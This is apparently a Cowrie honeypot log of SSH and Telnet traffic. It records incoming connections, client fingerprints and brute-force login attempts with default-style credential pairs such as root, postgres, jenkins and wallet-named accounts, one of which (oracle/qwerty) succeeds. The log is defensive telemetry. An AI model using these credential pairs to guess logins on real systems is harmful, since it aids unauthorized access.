{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:25:38.089351Z","src_ip":"62.133.62.83","session":"ba784255857c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"16011980","message":"login attempt [root/16011980] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:25:38.329354Z","src_ip":"62.133.62.83","session":"ba784255857c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:25:39.410713Z","src_ip":"62.133.62.83","session":"ba784255857c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":105.9409704208374,"message":"Connection lost after 105 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:25:44.826813Z","src_ip":"170.64.224.25","session":"fe8fb98fbf09","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.99.190.113","src_port":44606,"dst_ip":"10.17.0.5","dst_port":22,"session":"2c8ad4a90295","protocol":"ssh","message":"New connection: 209.99.190.113:44606 (10.17.0.5:22) [session: 2c8ad4a90295]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:25:48.906282Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:25:48.911585Z","src_ip":"209.99.190.113","session":"2c8ad4a90295","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:25:49.015694Z","src_ip":"209.99.190.113","session":"2c8ad4a90295","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"passw0rd!","message":"login attempt [root/passw0rd!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:25:49.448061Z","src_ip":"209.99.190.113","session":"2c8ad4a90295","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:25:50.551971Z","src_ip":"209.99.190.113","session":"2c8ad4a90295","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":56424,"dst_ip":"159.203.135.109","dst_port":22,"session":"8960c34f61f1","protocol":"ssh","message":"New connection: 160.187.174.22:56424 (159.203.135.109:22) [session: 8960c34f61f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:25:54.244309Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:25:54.248270Z","src_ip":"160.187.174.22","session":"8960c34f61f1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:25:54.496732Z","src_ip":"160.187.174.22","session":"8960c34f61f1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"postgres","message":"login attempt [postgres/postgres] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:25:55.238514Z","src_ip":"160.187.174.22","session":"8960c34f61f1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:25:56.486726Z","src_ip":"160.187.174.22","session":"8960c34f61f1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":58264,"dst_ip":"159.203.135.109","dst_port":23,"session":"28cc0fa9b041","protocol":"telnet","message":"New connection: 170.64.224.25:58264 (159.203.135.109:23) [session: 28cc0fa9b041]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:25:58.445176Z"}
{"eventid":"cowrie.session.connect","src_ip":"14.177.234.24","src_port":58170,"dst_ip":"10.17.0.5","dst_port":22,"session":"56dce30826eb","protocol":"ssh","message":"New connection: 14.177.234.24:58170 (10.17.0.5:22) [session: 56dce30826eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:26:08.536544Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:26:08.541409Z","src_ip":"14.177.234.24","session":"56dce30826eb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:26:08.786326Z","src_ip":"14.177.234.24","session":"56dce30826eb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abcd#12345","message":"login attempt [root/abcd#12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:26:09.805729Z","src_ip":"14.177.234.24","session":"56dce30826eb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:26:11.053761Z","src_ip":"14.177.234.24","session":"56dce30826eb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":63.11712694168091,"message":"Connection lost after 63 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:26:17.575097Z","src_ip":"170.64.224.25","session":"1648fe8e48cd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":47928,"dst_ip":"159.203.135.109","dst_port":23,"session":"f7b0b29ea7d0","protocol":"telnet","message":"New connection: 170.64.224.25:47928 (159.203.135.109:23) [session: f7b0b29ea7d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:26:21.040311Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":49318,"dst_ip":"159.203.135.109","dst_port":22,"session":"0fb306483b63","protocol":"ssh","message":"New connection: 160.187.174.22:49318 (159.203.135.109:22) [session: 0fb306483b63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:26:22.018563Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:26:22.026510Z","src_ip":"160.187.174.22","session":"0fb306483b63","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:26:22.261864Z","src_ip":"160.187.174.22","session":"0fb306483b63","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jenkins","password":"jenkins","message":"login attempt [jenkins/jenkins] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:26:23.233013Z","src_ip":"160.187.174.22","session":"0fb306483b63","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:26:24.477501Z","src_ip":"160.187.174.22","session":"0fb306483b63","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.163.244.125","src_port":48654,"dst_ip":"159.203.135.109","dst_port":22,"session":"44756cdacf4c","protocol":"ssh","message":"New connection: 192.163.244.125:48654 (159.203.135.109:22) [session: 44756cdacf4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:26:25.482465Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:26:25.486493Z","src_ip":"192.163.244.125","session":"44756cdacf4c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:26:25.564747Z","src_ip":"192.163.244.125","session":"44756cdacf4c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"youhodlerapp","password":"youhodler123","message":"login attempt [youhodlerapp/youhodler123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:26:25.804327Z","src_ip":"192.163.244.125","session":"44756cdacf4c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:26:27.166072Z","src_ip":"192.163.244.125","session":"44756cdacf4c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.239.241","src_port":52986,"dst_ip":"10.17.0.5","dst_port":22,"session":"4c71857d50c4","protocol":"ssh","message":"New connection: 162.241.239.241:52986 (10.17.0.5:22) [session: 4c71857d50c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:26:32.314414Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:26:32.317899Z","src_ip":"162.241.239.241","session":"4c71857d50c4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:26:32.342798Z","src_ip":"162.241.239.241","session":"4c71857d50c4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"atomwallet","password":"cosmos123","message":"login attempt [atomwallet/cosmos123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:26:32.420070Z","src_ip":"162.241.239.241","session":"4c71857d50c4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:26:33.449088Z","src_ip":"162.241.239.241","session":"4c71857d50c4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.116.158","src_port":40586,"dst_ip":"159.203.135.109","dst_port":23,"session":"3a68bcfdd205","protocol":"telnet","message":"New connection: 167.172.116.158:40586 (159.203.135.109:23) [session: 3a68bcfdd205]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:26:39.811142Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.4","src_port":48236,"dst_ip":"10.17.0.5","dst_port":22,"session":"561f7a81c7b0","protocol":"ssh","message":"New connection: 91.92.40.4:48236 (10.17.0.5:22) [session: 561f7a81c7b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:26:50.172365Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:26:50.176087Z","src_ip":"91.92.40.4","session":"561f7a81c7b0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:26:50.294375Z","src_ip":"91.92.40.4","session":"561f7a81c7b0","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"qwerty","message":"login attempt [oracle/qwerty] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:26:50.637306Z","src_ip":"91.92.40.4","session":"561f7a81c7b0","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:26:50.838762Z","src_ip":"91.92.40.4","session":"561f7a81c7b0","protocol":"ssh"}
